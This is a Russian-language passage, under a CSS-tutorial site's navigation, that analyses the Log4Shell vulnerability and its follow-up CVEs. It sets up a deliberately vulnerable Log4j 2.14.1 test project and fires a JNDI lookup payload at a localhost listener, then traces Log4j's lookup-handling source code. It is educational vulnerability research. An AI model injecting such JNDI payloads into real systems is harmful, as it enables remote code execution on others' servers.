Невозможно отучить людей изучать самые ненужные предметы.
Введение в CSS
Преимущества стилей
Добавления стилей
Типы носителей
Базовый синтаксис
Значения стилевых свойств
Селекторы тегов
Классы
CSS3
Надо знать обо всем понемножку, но все о немногом.
Идентификаторы
Контекстные селекторы
Соседние селекторы
Дочерние селекторы
Селекторы атрибутов
Универсальный селектор
Псевдоклассы
Псевдоэлементы
Кто умеет, тот делает. Кто не умеет, тот учит. Кто не умеет учить - становится деканом. (Т. Мартин)
Группирование
Наследование
Каскадирование
Валидация
Идентификаторы и классы
Написание эффективного кода
Вёрстка
Изображения
Текст
Цвет
Линии и рамки
Углы
Списки
Ссылки
Дизайны сайтов
Формы
Таблицы
CSS3
HTML5
Блог для вебмастеров
Новости мира Интернет
Сайтостроение
Ремонт и советы
Все новости
Справочник от А до Я
HTML, CSS, JavaScript
Афоризмы о учёбе
Статьи об афоризмах
Все Афоризмы
| Помогли мы вам |
Заголовки новостей пестрят ужасными сообщениями о том, что проблема охватывает половину компьютерного мира. А взломать через нее якобы можно всё — от сервера Minecraft твоего соседа до крупных корпораций вроде Apple.
На GitHub есть несколько репозиториев, например, Log4jAttackSurface или log4shell со списками уязвимого ПО (с блэкджеком и пруфами, разумеется!). Даже в «Википедии» уже есть статья о Log4Shell!
Давай разбираться так ли страшен черт, как его малюют, с чего все началось и почему баг получил такую огласку.
Начнем с небольшой преамбулы. Баг был обнаружен экспертом Чен Чжаоцзюнь (Zhaojun Chen) из команды Alibaba Cloud Security. Детали уязвимости были отправлены в Apache Foundation 24 ноября 2021 года. В публичный доступ они попали чуть позже — 9 декабря. В твиттере завирусился пост, в котором была пара картинок, изображающих результат успешной эксплуатации — запущенный калькулятор. На первом скрине был затерт пейлоад, но вторая картинка и кусок кода из первой намекали, где и что нужно искать. Помимо этого в посте была ссылка на pull-реквест с фиксом, прямо скажем не слишком удачным! Сейчас пост в твиттере уже удален и посмотреть можно только через Internet Archive.
В этот же день на GitHub появился PoC с деталями эксплуатации. Когда уязвимость обзавелась собственным идентификатором CVE-2021-44228, репозиторий переименовали, а затем и вовсе удалили. Как видишь, увидеть начало истории сейчас можно только благодаря архивам.
К слову, баг получил максимальный балл (10) по стандарту CVSS из‑за его простой эксплуатации, не требующей никаких прав, и серьезности последствий для атакуемой системы.
Итак, эксплоит получил распространение и начал уходить в массы, люди стали тестировать пейлоады повсеместно и обнаруживать уязвимые продукты. Давай в деталях посмотрим, в чем причина уязвимости, какие были обходы и патчи и в каких продуктах.
CVE-2021-44228 — злоумышленник, который может контролировать сообщения журнала или параметры сообщений журнала, может выполнить произвольный код, загруженный с серверов LDAP через JNDI. Проблема затрагивает версии Apache Log4j2 2.0-beta9 до 2.15.0 (за исключением исправлений безопасности 2.12.2, 2.12.3 и 2.3.1) уязвимы к удаленному выполнению произвольного кода через JNDI.
CVE-2021-45046 — злоумышленник, контролирующий через Thread Context Map (MDC) динамические данные в сообщениях журналов событий, может создать пейлоад с использованием JNDILookup, который приведет к утечке информации и удаленному выполнению кода в некоторых конфигурациях Log4j и локальному выполнению кода во всех конфигурациях. Проблема присутствует из‑за не полностью исправленной уязвимости CVE-2021-44228 в Log4j 2.15.0.
CVE-2021-45105 — из‑за проблемы неконтролируемой рекурсии, злоумышленник специально сформированным сообщением журнала событий может вызвать отказ в обслуживании. Проблема затрагивает версии Log4j2 начиная с 2.0-alpha1 и до 2.16.0 (за исключением 2.12.3 and 2.3.1).
CVE-2021-44832 — Злоумышленник, имеющий доступ к изменению настроек логирования, может создать такую конфигурацию, через которую возможно удаленное выполнение кода. Для этого используется JDBC Appender с источником данных, ссылающимся на JNDI URI. Проблема затрагивает все версии Log4j2 начиная с 2.0-beta7 и до 2.17.0.
Театр, как известно, начинается с вешалки, а тестирование уязвимости — со стенда В качестве основной системы я буду использовать Windows и IntelliJ IDEA для компиляции и отладки.
Cоздаем пустой проект на Java с использованием gradle. Добавляем в зависимости уязвимую версию Log4j, например, 2.14.1.
dependencies { implementation 'org.apache.logging.log4j:log4j-api:2.14.1' implementation 'org.apache.logging.log4j:log4j-core:2.14.1'}Потом создаем класс где аргумент, который мы передадим программе, будет логироваться.
package logger;import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;public class Test { private static final Logger logger = LogManager.getLogger(Test.class); public static void main(String[] args) { String msg = (args.length > 0 ? String.join(" ", args) : ""); logger.error(msg); }}Теперь укажем главный класс, который должен вызываться при запуске.
plugins { id 'java' id 'application'}...mainClassName = 'logger.Test'Все готово, можно запускать. Параметры в логгер передаем в качестве аргументов с помощью флага --args:
gradlew run --args='hello world'Запуск программы для тестирования уязвимости log4shellТеперь настало время протестировать работу уязвимости, для этого возьмем простой пейлоад ${jndi:ldap://127.0.0.1/a} и передадим его в качестве параметра. Только не забудь сначала поставить на прослушку 389 порт.
Коннект приходит, а это значит, что уязвимость успешно проэксплуатирована. Этого пока достаточно для дальнейшего препарирования.
Попробуем разобраться, почему эта загадочная конструкция вообще выполняется.
По сути, конструкции вида ${} используются в динамических строках, которые преобразуются разными реализациями класса StringSubstitutor. Да не осудят меня Java сеньоры, я буду считать, что это просто переменные.
Теперь скачаем исходники нашей версии библиотеки Log4j. Интересующая нас обработка логируемого события начинается в методе format класса MessagePatternConverter.
... public void format(final LogEvent event, final StringBuilder toAppendTo) {
final Message msg = event.getMessage();
...
if (config != null && !noLookups) {for (int i = offset; i < workingBuilder.length() - 1; i++) {if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {final String value = workingBuilder.substring(offset, workingBuilder.length());workingBuilder.setLength(offset);workingBuilder.append(config.getStrSubstitutor().replace(event, value));}}
}Этот цикл проверяет наличие конструкции ${ в сообщении. Если она присутствует, управление передается классу StrSubstitutor для дальнейшей обработки.
... public static final char DEFAULT_ESCAPE = '$'; ... public static final StrMatcher DEFAULT_PREFIX = StrMatcher.stringMatcher(DEFAULT_ESCAPE + "{"); ... public static final StrMatcher DEFAULT_SUFFIX = StrMatcher.stringMatcher("}");Здесь можно видеть инициализацию дефолтного префикса (${) и суффикса (}). Далее по коду видим метод substitute.
public StrMatcher getVariablePrefixMatcher() { return prefixMatcher;}...public StrMatcher getVariableSuffixMatcher() { return suffixMatcher;}private int substitute(final LogEvent event, final StringBuilder buf,final int offset, final int length,List<String> priorVariables) { final StrMatcher prefixMatcher = getVariablePrefixMatcher(); final StrMatcher suffixMatcher = getVariableSuffixMatcher();Он снова выполняет поиск таких конструкций (${ололо}) по содержимому логируемого события, только в этот раз проверяет наличие суффикса }, чтобы определить действительно ли нужна дальнейшая обработка.
while (pos < bufEnd) { final int startMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd); if (startMatchLen == 0) { pos++; } else // found variable start markerМетод prefixMatcher., как видно из названия, находит начало конструкции, символы ${. Проверка выполняется методом isMatch.
|
|
|
